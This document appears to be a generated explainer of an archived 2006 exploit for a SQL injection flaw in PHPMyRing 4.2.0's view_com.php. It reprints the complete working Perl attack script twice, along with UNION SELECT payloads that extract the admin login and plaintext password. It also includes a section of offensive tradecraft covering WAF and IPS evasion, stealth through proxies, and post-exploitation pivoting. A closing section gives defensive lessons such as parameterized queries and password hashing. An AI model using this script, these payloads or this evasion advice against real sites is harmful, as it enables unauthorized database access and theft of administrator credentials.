PHPMyRing 4.2.0 'view_com.php' SQL Injection Explained

PHPMyRing 4.2.0 'view_com.php' SQL Injection Explained
What this paper is
This paper details a critical SQL injection vulnerability found in PHPMyRing version 4.2.0. The vulnerability exists in the view_com.php script, specifically in how it handles the idsite parameter. An attacker can exploit this by injecting malicious SQL code into the idsite parameter to extract sensitive information, such as administrator login credentials, directly from the database. The exploit script provided demonstrates how to leverage this vulnerability to retrieve the admin username and password.
Simple technical breakdown
The core of the vulnerability lies in the view_com.php script. When a user requests information about a specific site using an idsite (site ID) parameter, the script queries the database to get the site's name. However, it does not properly check or sanitize the idsite value before using it in a SQL query.
The vulnerable line is:$row=mysql_fetch_array(requete("SELECT site_nom FROM webring WHERE idsite=$idsite"));
Because $idsite is directly embedded into the SQL query string, an attacker can manipulate it. By using SQL's UNION SELECT statement, an attacker can append their own query to the original one. This allows them to select data from other tables, such as webring_adm, which likely stores administrator credentials.
The exploit script automates this by sending specially crafted HTTP requests to the vulnerable server. It first attempts to retrieve the administrator's login and then the administrator's password by injecting different UNION SELECT statements targeting the loginadm and passadm columns in the webring_adm table.
Complete code and payload walkthrough
The provided exploit is a Perl script that automates the exploitation of the SQL injection vulnerability.
Perl Script Breakdown:
Header and Usage Information:
- The script begins with comments detailing the vulnerability, vendor, version, severity, discoverer, author, and publication dates.
- It then prints a decorative ASCII banner with the exploit's title and author information.
- It checks if the correct number of command-line arguments (
$ARGV[0]for host and$ARGV[1]for folder) are provided. If not, it prints usage instructions and exits.
# [*] Trying to get the admin login ... # [+] your admin login is --> admin # [+] your admin pass is --> 123456 use IO::Socket; if(!defined($ARGV[0] && $ARGV[1])) { system (clear); print "\n"; print "#################################################\n"; print "# PHPMyRing's Remote SQL injection Exploit #\n"; print "# Discovered by simo64_at_morx_org #\n"; print "# Script writting by simo_at_morx_org #\n"; print "# MorX Security Research Team #\n"; print "# www.morx.org #\n"; print "#################################################\n\n"; print "--- Usage: perl $0 <host> <folder>\n"; print "--- Example: perl $0 127.0.0.1 afd_webring\n\n"; exit; }- Mapping:
use IO::Socket;: Imports the necessary module for network socket communication.if(!defined($ARGV[0] && $ARGV[1])) { ... exit; }: Checks for required command-line arguments (host and folder). If missing, prints usage and exits.- Banner printing: Displays the exploit's identity and origin.
Variable Initialization:
$TARGET: Stores the target host IP address or hostname from the first command-line argument.$FOLDER: Stores the web application's directory (e.g.,webring) from the second command-line argument.$PORT: Set to80for standard HTTP.$SCRIPT: Defines the vulnerable script path and the start of the vulnerable parameter:/view_com.php?idsite=.$SQLPASS: This is the SQL injection payload to retrieve the administrator's password. It usesUNION SELECT passadm FROM webring_adm. The-1is used to create a record that won't match the original query, forcing theUNIONpart to be executed.%20is URL encoding for a space.$SQLADMIN: This is the SQL injection payload to retrieve the administrator's login. It usesUNION SELECT loginadm FROM webring_adm.
$TARGET = $ARGV[0]; $FOLDER = $ARGV[1]; $PORT = "80"; $SCRIPT = "/view_com.php?idsite="; $SQLPASS = "-1%20UNION%20SELECT%20passadm%20FROM%20webring_adm"; $SQLADMIN = "-1%20UNION%20SELECT%20loginadm%20FROM%20webring_adm";- Mapping:
$TARGET,$FOLDER,$PORT,$SCRIPT: Define target specifics and the vulnerable script path.$SQLPASS,$SQLADMIN: These are the core SQL injection payloads, crafted to extract specific data (passadm,loginadm) from thewebring_admtable. The-1ensures the original query yields no results, making theUNIONresults prominent.
Constructing HTTP Requests:
$COMMAND1: The first HTTP GET request. It targets the vulnerable script with the$SQLADMINpayload to fetch the admin login.$COMMAND2: TheHostheader, crucial for virtual hosting.$COMMAND3: TheConnection: Closeheader, telling the server to close the connection after the response.$COMMAND4: The second HTTP GET request, similar to$COMMAND1but using$SQLPASSto fetch the admin password.
################################################################################ $COMMAND1 = "GET /$FOLDER$SCRIPT$SQLADMIN HTTP/1.1"; $COMMAND2 = "Host: $TARGET"; $COMMAND3 = "Connection: Close"; $COMMAND4 = "GET /$FOLDER$SCRIPT$SQLPASS HTTP/1.1";- Mapping:
$COMMAND1,$COMMAND4: These strings represent the full HTTP GET requests, including the target path, folder, script, and the injected SQL payloads.$COMMAND2: TheHostheader, essential for the web server to identify the correct virtual host.$COMMAND3:Connection: Closeis used to ensure the script doesn't try to reuse a connection that might be in an unexpected state after receiving an injected response.
First Connection and Login Retrieval:
- A new TCP socket connection is established to the target host and port.
- The script prints the banner again.
- A 2-second
sleepis introduced for a slight delay. - The first HTTP request (
$COMMAND1) is sent to the server. - The script then enters a loop, reading the server's response line by line.
- It looks for a specific pattern (
/site (.*?)</) in the response. The(.*?)captures any characters between "site " and the next "<". This is expected to capture the injectedloginadmvalue. - If a match is found, the captured value is stored in
$adminlogin, printed to the console, and a flag$ais set to1. - If no match is found after processing the entire response, a "Failed" message is printed, and the script proceeds to attempt password retrieval.
$remote = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$TARGET",PeerPort=>"$PORT") || die "Can't connect to $TARGET"; print "#################################################\n"; print "# PHPMyRing's Remote SQL injection Exploit #\n"; print "# Discovered by simo64_at_morx_org #\n"; print "# Script writting by simo_at_morx_org #\n"; print "# MorX Security Research Team #\n"; print "# www.morx.org #\n"; print "#################################################\n\n"; sleep 2; print "[*] Trying to get the admin login ...\n\n"; print $remote "$COMMAND1\n$COMMAND2\n$COMMAND3\n\n"; while ($result = <$remote> ) { if ($result =~ /site (.*?)</ ) { $adminlogin = $1; print "[+] your admin login is --> $adminlogin\n\n"; $a = 1; } } if ($a == 0) { print "[-] Failed, cant get the admin login\n\n"; print "[*] Trying to get the admin password ...\n\n"; }- Mapping:
IO::Socket::INET->new(...): Establishes a TCP connection to the target.print $remote "$COMMAND1\n$COMMAND2\n$COMMAND3\n\n";: Sends the first crafted HTTP request.while ($result = <$remote>) { ... }: Reads the HTTP response line by line.if ($result =~ /site (.*?)</ ): This is the crucial parsing logic. It assumes the extracted data (the admin login) will be presented in the HTML output following the string "site " and before the next "<" character. This is a common pattern in web application output.$adminlogin = $1;: Captures the matched group (the admin login).$a = 1;: Sets a flag indicating success.- The
if ($a == 0)block handles the case where the login couldn't be retrieved.
Second Connection and Password Retrieval:
- A new TCP socket connection is established to the target. This is important because the previous connection was set to
Connection: Close. - The second HTTP request (
$COMMAND4) is sent, this time with the$SQLPASSpayload. - Similar to the login retrieval, the script loops through the response, looking for the pattern
/site (.*?)</. This time, it expects to capture the administrator's password. - If a match is found, the captured value is stored in
$adminpass, printed, and a flag$bis set to1. - If no match is found, a "Failed" message is printed.
$remote = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$TARGET",PeerPort=>"$PORT") || die "Can't connect to $TARGET"; print $remote "$COMMAND4\n$COMMAND2\n$COMMAND3\n\n"; while ($result2 = <$remote> ) { if ($result2 =~ /site (.*?)</ ) { $adminpass = $1; print "[+] your admin pass is --> $adminpass\n\n"; $b = 1; } } if ($b == 0) { print "[-] Failed, cant get the admin password\n"; }- Mapping:
$remote = IO::Socket::INET->new(...): Establishes a new connection for the password retrieval.print $remote "$COMMAND4\n$COMMAND2\n$COMMAND3\n\n";: Sends the second crafted HTTP request containing the password-fetching payload.while ($result2 = <$remote>) { ... }: Reads the response for the password.if ($result2 =~ /site (.*?)</ ): Uses the same parsing logic as before, expecting the password to be captured.$adminpass = $1;: Captures the matched group (the admin password).$b = 1;: Sets a flag indicating success for password retrieval.- The
if ($b == 0)block handles the case where the password couldn't be retrieved.
- A new TCP socket connection is established to the target. This is important because the previous connection was set to
Cleanup:
$remote->flush();: Ensures any buffered output is sent.close($remote);: Closes the network socket connection.exit;: Terminates the script.
$remote->flush(); close($remote); exit; # milw0rm.com [2006-08-09]- Mapping:
$remote->flush();,close($remote);: Standard network socket cleanup operations.
Payload Explanation (SQL Injection Strings):
$SQLADMIN = "-1%20UNION%20SELECT%20loginadm%20FROM%20webring_adm";-1: This is an invalididsitevalue. The original querySELECT site_nom FROM webring WHERE idsite=$idsitewill not find any rows foridsite = -1.%20: URL-encoded space character.UNION: This SQL operator combines the result set of two or moreSELECTstatements.SELECT loginadm FROM webring_adm: This is the injected query. It selects theloginadmcolumn from thewebring_admtable.- Combined Effect: The server executes
SELECT site_nom FROM webring WHERE idsite=-1 UNION SELECT loginadm FROM webring_adm. Since the first part returns no rows, the result of the second part (loginadmvalues) becomes the output of the entire query. The PHP script then displays this output, which the Perl script captures.
$SQLPASS = "-1%20UNION%20SELECT%20passadm%20FROM%20webring_adm";- This payload is identical in structure to
$SQLADMIN, but it targets thepassadmcolumn instead ofloginadmto retrieve the administrator's password.
- This payload is identical in structure to
Exploit Execution Flow:
- Targeting Login: The script sends a request to
/view_com.php?idsite=-1 UNION SELECT loginadm FROM webring_adm. - Response Parsing (Login): The script expects the output of
loginadmto be embedded in the HTML, likely within asite_nomcontext. It parses the response to extract this value. - Targeting Password: If login retrieval is successful (or even if it fails, the script attempts password retrieval), it sends a request to
/view_com.php?idsite=-1 UNION SELECT passadm FROM webring_adm. - Response Parsing (Password): The script parses the response to extract the
passadmvalue. - Output: The extracted login and password are printed to the console.
Practical details for offensive operations teams
- Required Access Level: Network access to the target web server on port 80 (or the configured HTTP port). No prior authentication or local access is required.
- Lab Preconditions:
- A target environment running PHPMyRing version 4.2.0 or earlier, with the
view_com.phpscript accessible. - The web application must be configured to use a MySQL database.
- The
webringandwebring_admtables must exist in the database, and thewebring_admtable must containloginadmandpassadmcolumns. - Network connectivity from the attacker's machine to the target web server.
- A target environment running PHPMyRing version 4.2.0 or earlier, with the
- Tooling Assumptions:
- Perl interpreter installed on the attacker's machine.
- Basic network tools (like
ping,traceroute) for reconnaissance.
- Execution Pitfalls:
- Web Application Firewall (WAF) / Intrusion Prevention System (IPS): The injected SQL payloads might be detected and blocked by security devices. Evasion techniques (e.g., different encoding, character variations, obfuscation) might be necessary.
- Incorrect Folder Path: The
$FOLDERargument must precisely match the directory where PHPMyRing is installed on the web server. An incorrect path will result in a 404 Not Found error or a different application response, preventing the exploit. - Database Schema Variations: If the
webring_admtable name or the column names (loginadm,passadm) are different in the target environment, the exploit will fail. The exploit assumes a default or common schema. - Output Parsing Failures: The exploit relies on a specific HTML output pattern (
site (.*?)</). If the PHPMyRing version or its theme/configuration alters this output, the parsing logic will fail to extract the credentials. - Connection Errors: Network issues, firewalls blocking port 80, or the target server being down will prevent the exploit from running.
- Rate Limiting / Account Lockout: Repeated failed attempts or unusual traffic patterns might trigger security measures on the server.
- Database Errors: If the database is misconfigured or the SQL injection syntax is slightly off for the specific MySQL version, the server might return a database error instead of the injected data.
- Tradecraft Considerations:
- Reconnaissance: Before running the exploit, confirm the PHPMyRing version if possible. Identify the web root and potential installation directories.
- Stealth: The exploit makes direct, unencrypted HTTP requests. For stealth, consider using a proxy or VPN. The
Connection: Closeheader is generally good for preventing connection reuse but might be less stealthy than persistent connections if not handled carefully. - Payload Delivery: The exploit directly injects SQL. If this is detected, consider alternative injection vectors or obfuscation techniques.
- Post-Exploitation: Once credentials are obtained, plan for how to use them (e.g., logging into the admin panel, pivoting).
- Logging: Be aware that network logs and web server access logs will record these requests.
Where this was used and when
- Context: This vulnerability was relevant to organizations using PHPMyRing, a web-based tool for managing webrings. Webrings were a popular way for websites to link to each other thematically in the early to mid-2000s.
- Approximate Years/Dates: The exploit was published on August 10, 2006. This indicates the vulnerability existed in versions of PHPMyRing released prior to that date, specifically affecting version 4.2.0 and earlier. Such vulnerabilities were common in web applications of that era as secure coding practices were less widespread.
Defensive lessons for modern teams
- Input Validation and Sanitization: This is the most critical lesson. Never trust user input. All external input, especially data used in database queries, must be rigorously validated and sanitized.
- Use parameterized queries (prepared statements) with bound parameters. This is the gold standard for preventing SQL injection.
- If parameterized queries are not feasible (though they almost always are), use strict whitelisting for allowed characters and formats, and escape special SQL characters appropriately.
- Principle of Least Privilege: The
webring_admtable likely contains sensitive credentials. Ensure that the web application's database user has only the minimum necessary privileges. It should not be able to select from administrative tables if its sole purpose is to display site names. - Regular Patching and Updates: Keep all web applications, frameworks, and server software up-to-date. Vendors release patches to fix known vulnerabilities like this. PHPMyRing is likely unmaintained now, highlighting the risk of using outdated software.
- Web Application Firewalls (WAFs): While not a silver bullet, WAFs can provide a layer of defense by detecting and blocking common attack patterns, including SQL injection attempts. However, they should be used in conjunction with secure coding practices, not as a replacement.
- Database Security:
- Avoid storing sensitive information like plain-text passwords. Use strong hashing algorithms (e.g., bcrypt, Argon2) with salts.
- Regularly audit database access and schema.
- Code Auditing: Regularly review application code for potential security flaws, especially in areas that handle user input and database interactions.
ASCII visual (if applicable)
This exploit is a direct client-to-server interaction without complex architectural components. A visual representation of the SQL injection itself is more appropriate than a system architecture diagram.
+-----------------+ +------------------------+ +-----------------+
| Attacker's Host | ----> | Target Web Server | ----> | Target Database |
| (Perl Script) | | (PHPMyRing v4.2.0) | | (MySQL) |
+-----------------+ +------------------------+ +-----------------+
| |
| HTTP Request | SQL Query
| (with injected SQL) | (via PHP script)
| |
| | SELECT site_nom FROM webring WHERE idsite =
| | '-1 UNION SELECT loginadm FROM webring_adm'
| |
| +-----------------------------> (Returns loginadm)
|
| HTTP Response
| (containing injected data)
|
+-----------------------------------------------------> (Perl script parses)Explanation of the Visual:
- The Attacker's Host runs the Perl script.
- The script sends an HTTP request to the Target Web Server. This request is crafted to include the SQL injection payload within the
idsiteparameter of theview_com.phpscript. - The PHPMyRing application on the web server receives the request. Because of the vulnerability, it directly embeds the malicious
idsitevalue into a SQL query sent to the Target Database. - The Target Database executes the modified query. In this case, the
UNION SELECTstatement causes it to return theloginadm(orpassadm) from thewebring_admtable, in addition to or instead of the intendedsite_nom. - The PHP script then processes the database result and includes the injected data in its HTTP response back to the attacker.
- The Perl script on the attacker's host parses this response to extract the sensitive information.
Source references
- Exploit-DB Paper: https://www.exploit-db.com/papers/2159
- Vendor Website (historical): http://phpmyring.sourceforge.net/ (Note: This URL may no longer be active or host the original software)
- Author Contact (historical): simo64_at_morx_org, simo_at_morx_org
- Research Team (historical): MorX Security Research Team, http://www.morx.org
Original Exploit-DB Content (Verbatim)
# Title: PHPMyRing's (view_com.php) Remote SQL injection Exploit
#
# Vendor: phpmyring
#
# webiste : http://phpmyring.sourceforge.net/
#
# Version : <= 4.2.0
#
# Severity: Critical
#
# Discovered by: Simo64 <simo64_at_morx_org>
#
# Exploit writting by: Simo Ben youssef <simo_at_morx_org>
#
# Discovered: 09 Aout 2006
#
# Published : 10 Aout 2006
#
# MorX Security Research Team
#
# http://www.morx.org
#
# Details:
#
# vulnerable code on view_com.php line ( 14 - 24)
#
# [code]
# -----------------------------------------------------------------------------------
# if (!$idsite)
# {
# echo "<p align=\"center\">"._("Erreur! Le n° du site n'est pas défini!")."</p>";
# }
# else
# {
# // On va aller chercher le nom du site consern., .a sera fait ;)
# // Connexion MySQL
# $conn=connecte();
# $row=mysql_fetch_array(requete("SELECT site_nom FROM webring WHERE idsite=$idsite")); # <== SQL injection
# $site_nom=$row['site_nom'];
#
# ...............
#
# <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
# <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="<? echo _("fr"); ?>">
# <head>
# <title><? echo _("Commentaires du site"). " ".$site_nom; ?></title>
# ---------------------------------------------------------------------------------[/code]
#
# $idsite is not properly sanitized and can be used to inject sql query
#
# Exploit to extract both admin login and plain text password:
#
# C:\>perl ring.pl 127.0.0.1 webring
# #################################################
# # PHPMyRing's Remote SQL injection Exploit #
# # Discovered by simo64_at_morx_org #
# # Script writting by simo_at_morx_org #
# # MorX Security Research Team #
# # www.morx.org #
# #################################################
# [*] Trying to get the admin login ...
# [+] your admin login is --> admin
# [+] your admin pass is --> 123456
use IO::Socket;
if(!defined($ARGV[0] && $ARGV[1])) {
system (clear);
print "\n";
print "#################################################\n";
print "# PHPMyRing's Remote SQL injection Exploit #\n";
print "# Discovered by simo64_at_morx_org #\n";
print "# Script writting by simo_at_morx_org #\n";
print "# MorX Security Research Team #\n";
print "# www.morx.org #\n";
print "#################################################\n\n";
print "--- Usage: perl $0 <host> <folder>\n";
print "--- Example: perl $0 127.0.0.1 afd_webring\n\n";
exit; }
$TARGET = $ARGV[0];
$FOLDER = $ARGV[1];
$PORT = "80";
$SCRIPT = "/view_com.php?idsite=";
$SQLPASS = "-1%20UNION%20SELECT%20passadm%20FROM%20webring_adm";
$SQLADMIN = "-1%20UNION%20SELECT%20loginadm%20FROM%20webring_adm";
################################################################################
$COMMAND1 = "GET /$FOLDER$SCRIPT$SQLADMIN HTTP/1.1";
$COMMAND2 = "Host: $TARGET";
$COMMAND3 = "Connection: Close";
$COMMAND4 = "GET /$FOLDER$SCRIPT$SQLPASS HTTP/1.1";
$remote = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$TARGET",PeerPort=>"$PORT")
|| die "Can't connect to $TARGET";
print "#################################################\n";
print "# PHPMyRing's Remote SQL injection Exploit #\n";
print "# Discovered by simo64_at_morx_org #\n";
print "# Script writting by simo_at_morx_org #\n";
print "# MorX Security Research Team #\n";
print "# www.morx.org #\n";
print "#################################################\n\n";
sleep 2;
print "[*] Trying to get the admin login ...\n\n";
print $remote "$COMMAND1\n$COMMAND2\n$COMMAND3\n\n";
while ($result = <$remote> ) {
if ($result =~ /site (.*?)</ ) {
$adminlogin = $1;
print "[+] your admin login is --> $adminlogin\n\n";
$a = 1;
}
}
if ($a == 0)
{
print "[-] Failed, cant get the admin login\n\n";
print "[*] Trying to get the admin password ...\n\n";
}
$remote = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$TARGET",PeerPort=>"$PORT")
|| die "Can't connect to $TARGET";
print $remote "$COMMAND4\n$COMMAND2\n$COMMAND3\n\n";
while ($result2 = <$remote> ) {
if ($result2 =~ /site (.*?)</ ) {
$adminpass = $1;
print "[+] your admin pass is --> $adminpass\n\n";
$b = 1;
}
}
if ($b == 0)
{ print "[-] Failed, cant get the admin password\n";
}
$remote->flush();
close($remote);
exit;
# milw0rm.com [2006-08-09]